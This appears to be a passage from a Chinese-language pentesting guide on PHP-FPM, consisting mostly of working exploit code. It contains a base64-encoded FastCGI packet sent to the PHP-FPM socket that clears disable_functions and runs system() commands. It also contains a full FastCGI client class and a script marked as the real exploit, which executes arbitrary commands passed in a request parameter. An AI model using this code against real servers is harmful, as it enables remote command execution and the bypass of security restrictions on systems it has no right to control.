尽管代理连接起到了中介作用，PHP-FPM 仍需在与 web 服务器相同的机器上运行。它所使用的连接虽然是基于代理的，但与传统的代理连接有所不同。在接收到请求后，PHP-FPM 中的一个可用工作进程会处理该请求——执行 PHP 脚本，然后将结果转发回 web 服务器。工作进程在处理完请求后，会再次可用于即将到来的请求。
Copy <? php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
Copy <? php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1 ;
const BEGIN_REQUEST = 1 ;
const ABORT_REQUEST = 2 ;
const END_REQUEST = 3 ;
const PARAMS = 4 ;
const STDIN = 5 ;
const STDOUT = 6 ;
const STDERR = 7 ;
const DATA = 8 ;
const GET_VALUES = 9 ;
const GET_VALUES_RESULT = 10 ;
const UNKNOWN_TYPE = 11 ;
const MAXTYPE = self:: UNKNOWN_TYPE;
const RESPONDER = 1 ;
const AUTHORIZER = 2 ;
const FILTER = 3 ;
const REQUEST_COMPLETE = 0 ;
const CANT_MPX_CONN = 1 ;
const OVERLOADED = 2 ;
const UNKNOWN_ROLE = 3 ;
const MAX_CONNS = 'MAX_CONNS' ;
const MAX_REQS = 'MAX_REQS' ;
const MPXS_CONNS = 'MPXS_CONNS' ;
const HEADER_LEN = 8 ;
/**
* Socket
* @var Resource
*/
private $_sock = null ;
/**
* Host
* @var String
*/
private $_host = null ;
/**
* Port
* @var Integer
*/
private $_port = null ;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false ;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct ($host , $port = 9000 ) // and default value for port, just for unixdomain socket
{
$this -> _host = $host;
$this -> _port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive ($b)
{
$this -> _keepAlive = ( boolean )$b;
if ( ! $this -> _keepAlive && $this -> _sock) {
fclose ( $this -> _sock ) ;
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive ()
{
return $this -> _keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect ()
{
if ( ! $this -> _sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this -> _sock = stream_socket_client ( $this -> _host , $errno , $errstr , 5 ) ;
if ( ! $this -> _sock) {
throw new Exception ( 'Unable to connect to FastCGI application' );
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket ($type , $content , $requestId = 1 )
{
$clen = strlen ( $content ) ;
return chr ( self:: VERSION_1 ) /* version */
. chr ( $type ) /* type */
. chr ( ($requestId >> 8 ) & 0xFF ) /* requestIdB1 */
. chr ( $requestId & 0xFF ) /* requestIdB0 */
. chr ( ($clen >> 8 ) & 0xFF ) /* contentLengthB1 */
. chr ( $clen & 0xFF ) /* contentLengthB0 */
. chr ( 0 ) /* paddingLength */
. chr ( 0 ) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair ($name , $value)
{
$nlen = strlen ( $name ) ;
$vlen = strlen ( $value ) ;
if ($nlen < 128 ) {
/* nameLengthB0 */
$nvpair = chr ( $nlen ) ;
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr ( ($nlen >> 24 ) | 0x80 ) . chr ( ($nlen >> 16 ) & 0xFF ) . chr ( ($nlen >> 8 ) & 0xFF ) . chr ( $nlen & 0xFF ) ;
}
if ($vlen < 128 ) {
/* valueLengthB0 */
$nvpair .= chr ( $vlen ) ;
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr ( ($vlen >> 24 ) | 0x80 ) . chr ( ($vlen >> 16 ) & 0xFF ) . chr ( ($vlen >> 8 ) & 0xFF ) . chr ( $vlen & 0xFF ) ;
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair ($data , $length = null )
{
$array = array ();
if ($length === null ) {
$length = strlen ( $data ) ;
}
$p = 0 ;
while ($p != $length) {
$nlen = ord ( $data{$p ++ } ) ;
if ($nlen >= 128 ) {
$nlen = ($nlen & 0x7F << 24 );
$nlen |= ( ord ( $data{$p ++ } ) << 16 );
$nlen |= ( ord ( $data{$p ++ } ) << 8 );
$nlen |= ( ord ( $data{$p ++ } ) );
}
$vlen = ord ( $data{$p ++ } ) ;
if ($vlen >= 128 ) {
$vlen = ($nlen & 0x7F << 24 );
$vlen |= ( ord ( $data{$p ++ } ) << 16 );
$vlen |= ( ord ( $data{$p ++ } ) << 8 );
$vlen |= ( ord ( $data{$p ++ } ) );
}
$array[ substr ( $data , $p , $nlen ) ] = substr ( $data , $p + $nlen , $vlen ) ;
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader ($data)
{
$ret = array ();
$ret[ 'version' ] = ord ( $data{ 0 } ) ;
$ret[ 'type' ] = ord ( $data{ 1 } ) ;
$ret[ 'requestId' ] = ( ord ( $data{ 2 } ) << 8 ) + ord ( $data{ 3 } ) ;
$ret[ 'contentLength' ] = ( ord ( $data{ 4 } ) << 8 ) + ord ( $data{ 5 } ) ;
$ret[ 'paddingLength' ] = ord ( $data{ 6 } ) ;
$ret[ 'reserved' ] = ord ( $data{ 7 } ) ;
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket ()
{
if ($packet = fread ( $this -> _sock , self:: HEADER_LEN ) ) {
$resp = $this -> decodePacketHeader ( $packet ) ;
$resp[ 'content' ] = '' ;
if ($resp[ 'contentLength' ]) {
$len = $resp[ 'contentLength' ];
while ($len && $buf = fread ( $this -> _sock , $len ) ) {
$len -= strlen ( $buf ) ;
$resp[ 'content' ] .= $buf;
}
}
if ($resp[ 'paddingLength' ]) {
$buf = fread ( $this -> _sock , $resp[ 'paddingLength' ] ) ;
}
return $resp;
} else {
return false ;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues ( array $requestedInfo)
{
$this -> connect () ;
$request = '' ;
foreach ($requestedInfo as $info) {
$request .= $this -> buildNvpair ( $info , '' ) ;
}
fwrite ( $this -> _sock , $this -> buildPacket ( self:: GET_VALUES , $request , 0 )) ;
$resp = $this -> readPacket () ;
if ($resp[ 'type' ] == self:: GET_VALUES_RESULT) {
return $this -> readNvpair ( $resp[ 'content' ] , $resp[ 'length' ] ) ;
} else {
throw new Exception ( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request ( array $params , $stdin)
{
$response = '' ;
$this -> connect () ;
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '' ;
foreach ($params as $key => $value) {
$paramsRequest .= $this -> buildNvpair ( $key , $value ) ;
}
if ($paramsRequest) {
$request .= $this -> buildPacket ( self:: PARAMS , $paramsRequest ) ;
}
$request .= $this -> buildPacket ( self:: PARAMS , '' ) ;
if ($stdin) {
$request .= $this -> buildPacket ( self:: STDIN , $stdin ) ;
}
$request .= $this -> buildPacket ( self:: STDIN , '' ) ;
fwrite ( $this -> _sock , $request ) ;
do {
$resp = $this -> readPacket () ;
if ($resp[ 'type' ] == self:: STDOUT || $resp[ 'type' ] == self:: STDERR) {
$response .= $resp[ 'content' ];
}
} while ($resp && $resp[ 'type' ] != self:: END_REQUEST);
var_dump ( $resp ) ;
if ( ! is_array ( $resp ) ) {
throw new Exception ( 'Bad request' );
}
switch ( ord ( $resp[ 'content' ]{ 4 } ) ) {
case self:: CANT_MPX_CONN:
throw new Exception ( 'This app can\'t multiplex [CANT_MPX_CONN]' );
break ;
case self:: OVERLOADED:
throw new Exception ( 'New request rejected; too busy [OVERLOADED]' );
break ;
case self:: UNKNOWN_ROLE:
throw new Exception ( 'Role value not known [UNKNOWN_ROLE]' );
break ;
case self:: REQUEST_COMPLETE:
return $response;
}
}
}
?>
<? php
// real exploit start here
if ( ! isset ( $_REQUEST[ 'cmd' ] ) ) {
die ( "Check your input\n" );
}
if ( ! isset ( $_REQUEST[ 'filepath' ] ) ) {
$filepath = __FILE__ ;
} else {
$filepath = $_REQUEST[ 'filepath' ];
}
$req = '/' . basename ( $filepath ) ;
$uri = $req . '?' . 'command=' . $_REQUEST[ 'cmd' ];
$client = new FCGIClient ( "unix:///var/run/php-fpm.sock" , - 1 );
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>" ; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input" ;
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array (
'GATEWAY_INTERFACE' => 'FastCGI/1.0' ,
'REQUEST_METHOD' => 'POST' ,
'SCRIPT_FILENAME' => $filepath ,
'SCRIPT_NAME' => $req ,
'QUERY_STRING' => 'command=' . $_REQUEST[ 'cmd' ] ,
'REQUEST_URI' => $uri ,
'DOCUMENT_URI' => $req ,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value ,
'SERVER_SOFTWARE' => '80sec/wofeiwo' ,
'REMOTE_ADDR' => '127.0.0.1' ,
'REMOTE_PORT' => '9985' ,
'SERVER_ADDR' => '127.0.0.1' ,
'SERVER_PORT' => '80' ,
'SERVER_NAME' => 'localhost' ,
'SERVER_PROTOCOL' => 'HTTP/1.1' ,
'CONTENT_LENGTH' => strlen ( $code )
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client -> request ( $params , $code ) . "\n" ;
?> PHP-FPM 远程代码执行漏洞 (CVE-2019–11043)
